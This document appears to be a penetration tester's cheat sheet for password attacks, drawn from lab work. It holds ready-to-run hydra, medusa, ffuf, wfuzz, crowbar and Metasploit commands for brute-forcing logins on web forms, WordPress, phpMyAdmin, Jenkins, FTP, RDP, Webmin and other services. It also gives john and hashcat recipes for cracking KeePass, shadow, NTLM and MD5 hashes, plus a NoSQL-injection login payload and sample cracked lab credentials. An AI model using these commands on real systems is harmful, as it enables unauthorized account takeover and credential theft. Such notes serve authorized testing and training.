Bruteforce
- pass: /usr/share/wordlists/rockyou.txt
Basic Auth
hydra
medusaForm Auth
hydra
hydra $IP http-post-form "/login.php:username=^USER^&password=^PASS^:invalid" -l <USER> -P <PASS_FILE> -vV -f
ffuf -w <PASS_FILE> -X POST -d "username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -u http://<IP>/login.php -x http://127.0.0.1:8080 -fs 206
wfuzz -c -z file,<USER_NAMES_FILE> --sc 302 -d 'username=FUZZ&password[$ne]=NO_VALID_PASS&login=login' http://$URL
wordpress
proxychains -q hydra $IPP_INTRANET http-post-form "/wordpress/login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fintranet.relia.com%2Fwordpress%2Fwp-admin%2F&testcookie=1:incorrect" -L user.txt -P pass.txt -vV -f
phpmyadmin
hydra
export HYDRA_PROXY_HTTP=http://127.0.0.1:8080
hydra -F -vV -l root -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1&token=a6afebdd3311fac747d68adb1a8bd7ca:denied"
medusa \
-h $IP \
-u root \
-P /usr/share/wordlists/rockyou.txt \
-M web-form \
-m FORM:"phpmyadmin/index.php" \
-m DENY-SIGNAL:"denied" \
-m FORM-DATA:"post?pma_username=&pma_password=&server=1&&token=i=TQRF[zI*sEkNu@"
jenkins
msfconsole
use auxiliary/scanner/http/jenkins_login
set RHOSTS internal.thm
set RPORT 8081
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set STOP_ON_SUCCESS true
run
FTP
hydra
hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt $IP ftp
SSH
hydra
nmap medusa ncrackSMB
crackmapexec
hydraVNC
hydra
ncrack medusaRDP
crowbar
crowbar -vv -b rdp -U user.txt -C pass.txt -s $IP/32
crowbar -vv -b rdp -U user.txt -C pass.txt -n 1 -s $IP/32
|->
2023-05-23 14:24:29 RDP-SUCCESS : 192.168.226.250:3389 - offsec:lab
hydra -V -f -L user.txt -P pass.txt rdp://$IP
|->
[3389][rdp] host: 192.168.226.250 login: offsec password: lab
mysql
medusa
hydrapop3
hydra
IMAP
hydra
IRC
nmap
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=users.txt,passdb=pass.txt -p 6697 $IP
postgres
hydra
medusa ncrack patator nmap metasploitWinRm
crackmapexec - brute force
crackmapexec - check a pair of credentials crackmapexec - check if the creds are valid to access winrmSquirrelMail 1.2.10
hydra
hydra -l <USER> -P <PASS_FILE> $IP http-post-form "/webmail/src/redirect.php:username=^USER^&password=^PASS^:F=incorrect" -V -F -u
Webmin
hydra - user enumeration
USER_FILE=/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
FAILED_MSG="Login failed. Please try again."
COOKIES="testing=1"
hydra $IP -s 10000 -t 4 http-form-post "/session_login.cgi:page=%2F&user=USER&pass=^PASS^&submit=Login:${FAILED_MSG}:H=Cookie: ${COOKIES}" -L $USER_FILE -p ".2uqPEfj3D<P'a-3" -vV -f
pop3
hydra
Crack kdbx
john
keepass2john Database.kdbx > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
kpcli --kdb Database.kdbx
Crack shadow
john
unshadow passwd shadow > passwd_shadow.txt
john passwd_shadow.txt --wordlist=/usr/share/wordlists/rockyou.txt
$y$
hashcat Crack id_rsa
john
Crack NTLMv2 hash
hashcat
Crack NTLM hash
hashcat
# hashcat --help | grep NTLM
hashcat -m 1000 --force 26112010952d963c8dc4217daec986d9 /usr/share/wordlists/rockyou.txt
Create password list
cewl
curl/grep/sort/awkcurl http://$URL | grep -oE '\w+' | sort -u -f > wordlist.lst
awk 'length($0) > 3 ' wordlist.lst > wordlist_gt3.lst
Crack md5 hash
hashcat - dictionary attack
hashcat - brute-force attack (max 5 digits)
hashcat -m 0 -a 3 -i 81dc9bdb52d04dc20036dbd8313ed055 ?d?d?d?d?d
hashcat -m 0 -a 3 -i hash.txt ?d?d?d?d?d
john - dictionary attack
Crack SHA-1 hash
hashcat
Crack SHA-512 hash
hashcat - brute-force attack (max 5 digits)
Crack bcrypt hash
hashcat